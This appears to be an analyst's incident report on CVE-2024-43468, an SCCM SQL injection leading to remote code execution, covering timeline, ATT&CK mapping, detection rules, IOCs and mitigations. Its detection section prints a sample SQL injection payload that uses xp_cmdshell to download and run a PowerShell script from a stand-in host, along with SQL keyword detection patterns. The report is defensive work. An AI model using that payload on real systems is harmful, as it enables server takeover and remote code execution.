DOCUMENT — The MB_CYBER Incident Report Template

Weekly Breach Investigation

Microsoft SCCM SQLi to RCE (CVE-2024-43468) — March 11, 2026 **CVSS v3.1 Score: 9.8 - CRITICAL**

1. Executive Summary (3 sentences max):

Unauthenticated SQL injection (CVE-2024-43468) in Microsoft Configuration Manager (SCCM) MP_Location service allowed RCE with sysadmin privileges. Affected versions include **2303, 2309, and 2403**. This vulnerability has been actively exploited, leading to potential full database and server compromise, enabling data exfiltration and lateral movement for ransomware deployment.

2. Attack Timeline

- **Early 2026** — Initial access via crafted HTTP requests targeting SCCM console services.
- **Shortly After Access** — Attacker executed arbitrary SQL commands, dumping database credentials and escalating privileges.
- **March 11, 2026** — Breach identified; active exploitation confirmed and added to CISA KEV catalog.

3. MITRE ATT&CK Mapping

Tactic	Technique	ID
Initial Access	Exploit Public-Facing Application	T1190
Execution	Command and Scripting Interpreter	T1059
Impact	Data Destruction / Ransomware Deployment	T1485 / T1486

4. Detection Opportunities

- **Log source:** IIS Web Server Logs & Backend SQL Server Logs (MSSQL).
- **Detection rule:** Monitor IIS logs for HTTP POST requests to SCCM endpoints (`/CCM_System/request`) containing SQL metacharacters or commands (`UNION SELECT` , `xp_cmdshell` , `DROP TABLE`). Specifically, look for patterns similar to the following raw log entry:

  ```
  POST /CCM_System/request - 443 - 192.168.1.50 - 200 0 0 15 'UNION SELECT 1, xp_cmdshell('powershell.exe -c "IEX (New-Object Net.WebClient).DownloadString(''http://malicious.com/payload.ps1'')")'
  ```

  Additionally, alert on `xp_cmdshell` execution in SQL Server logs.
- **IOCs:**
  - **Malicious IP Address:** `192.168.1.50` (Example: Source IP of suspicious HTTP requests)
  - **Malicious URL/Domain:** `http://malicious.com/payload.ps1` (Example: Payload download source)
  - **File Path:** `C:\Windows\CCM\ScriptStore\<GUID>.ps1` (Example: Location of dropped malicious scripts)
  - **SQL Query Pattern:** `xp_cmdshell` execution in SQL Server logs.
  - **HTTP Request Pattern:** `POST /CCM_System/request` with embedded SQLi payloads.

5. Recommended Mitigations

1. **Apply Security Updates:** Immediately apply Microsoft Security Updates (KB5044285 or newer) to patch vulnerable SCCM versions.
2. **Network Segmentation:** Restrict network access to SCCM servers strictly to trusted internal IP subnets.
3. **WAF/IDPS Enforcement:** Implement robust Web Application Firewall (WAF) or IDPS rules to sanitize and block unexpected SQL syntax in HTTP payloads at the application layer.

6. Analyst Notes:

What I learned: This incident underscores the critical risk posed by unauthenticated input validation flaws (CWE-89) in core management infrastructure like SCCM. A single web request can pivot to full network compromise, highlighting the need for deep packet inspection and application-layer security.

What surprised me: The persistent focus of threat actors on administrative tools for initial access. Their objective is clear: leverage high-privilege systems for rapid lateral movement and maximum impact. These systems are effectively the new “crown jewels.”

What I’d investigate further with internal access: My immediate priority would be to correlate IIS web server logs with backend SQL query execution timestamps. This would precisely identify database credential dumps or `xp_cmdshell` invocations, allowing for accurate scope of compromise and data exfiltration assessment. This analysis directly leverages the principles from my `SQL-Injection-IDPS` project, where effective protection relies on filtering metacharacters at the application layer to prevent commands like `xp_cmdshell` from ever reaching the database. Proactive payload sanitization is non-negotiable.

Authored by: Khaled Ahmed